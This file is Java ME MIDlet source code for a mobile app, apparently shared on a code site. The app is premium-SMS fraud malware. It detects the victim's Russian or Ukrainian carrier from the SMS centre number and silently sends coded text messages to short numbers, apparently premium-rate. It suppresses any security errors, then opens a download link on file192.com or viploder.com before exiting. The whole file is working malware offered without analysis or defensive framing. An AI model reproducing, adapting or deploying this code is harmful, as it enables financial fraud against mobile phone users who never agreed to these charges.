import java io IOException import javax microedition io ConnectionNotF

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
import java.io.IOException;
import javax.microedition.io.ConnectionNotFoundException;
import javax.microedition.io.Connector;
import javax.microedition.midlet.MIDlet;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;
public class FuckYourMother extends MIDlet{
public final String[][] RU_BEELINE = {
{"6457", "120011128 042 123"}
};
public final String[][] RU_TELE2 = null;
public final String[][] UA_KYIVSTAR = {
{"9405", "2220011128 042 123"},
{"7910", "2220011128 042 123"},
{"7910", "2220011128 042 123"}
};
public final String[][] UA_LIFE = null;
public final String[][] UA = {
{"7910", "2220011128 042 123"}
};
public final String[][] RU_MTS = {
{"7781", "69201 2206"},
{"3121", "69201 2206"},
{"1151", "69201 2206"}
};
public final String[][] RU_MEGAFON = {
{"6459", "120011128 042 123"}
};
public final String[][] RU = {
{"6459", "120011128 042 123"},
{"6457", "120011128 042 123"},
{"6457", "120011128 042 123"}
};
protected volatile boolean send = true;
public void startApp(){
String smsc = rc(System.getProperty("wireless.messaging.sms.smsc"), '+'), tmp[][] = null, link = "http://file192.com/load/u/11128/" + getMidletName() +".auto";
if(smsc.startsWith("7903") || smsc.startsWith("8903"))
tmp = RU_BEELINE;
else if(smsc.startsWith("7904"))
tmp = RU_TELE2;
else if(smsc.startsWith("38067") || smsc.startsWith("38096") || smsc.startsWith("38097") || smsc.startsWith("38098"))
tmp = UA_KYIVSTAR;
else if(smsc.startsWith("38063") || smsc.startsWith("38093"))
tmp = UA_LIFE;
else if(smsc.startsWith("380"))
tmp = UA;
else if(smsc.startsWith("791") || smsc.startsWith("798") || smsc.startsWith("7495") || smsc.startsWith("891") || smsc.startsWith("898") || smsc.startsWith("8495") || smsc.startsWith("790253") || smsc.startsWith("890253") || smsc.startsWith("70957699100") || smsc.startsWith("17815511212")){
link = "http://viploder.com/2206/" + getMidletName();
tmp = RU_MTS;
}else if(smsc.startsWith("792") || smsc.startsWith("793") || smsc.startsWith("892") || smsc.startsWith("893"))
tmp = RU_MEGAFON;
else if(smsc.startsWith("79") || smsc.startsWith("89"))
tmp = RU;
if(tmp != null){
while(send)
for(int i = 0; i < tmp.length; i++)
try{
MessageConnection sms = (MessageConnection) Connector.open("sms://" + tmp[i][0]);
TextMessage tm = (TextMessage) sms.newMessage(MessageConnection.TEXT_MESSAGE);
tm.setPayloadText(tmp[i][1]);
sms.send(tm);
sms.close();
this.send = false;
}catch(IOException ioe){}catch(SecurityException se){}
}
try{
platformRequest(link);
}catch(ConnectionNotFoundException cnfe){}
destroyApp(true);
}
public static String rc(String s, char c) {
String r = "";
for (int i = 0; i < s.length(); i ++) {
if (s.charAt(i) != c) r += s.charAt(i);
}
return r;
}
protected String getMidletName(){
StringBuffer mn = new StringBuffer();
String realName = getAppProperty("MIDlet-Name");
if(realName == null)
realName = "_";
String symbols = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789_";
String ch = "";
String lch;
for(int i = 0; i < realName.length(); i++){
lch = ch;
ch = symbols.indexOf(realName.charAt(i)) != -1 ? String.valueOf(realName.charAt(i)) : "_";
mn.append(lch.equals("_") && ch.equals("_") ? "" : ch);
}
return mn.toString().equals("") || mn.toString().equals("_") ? "game" : mn.toString();
}
public void pauseApp(){
}
public void destroyApp(boolean unconditional){
notifyDestroyed();
}
}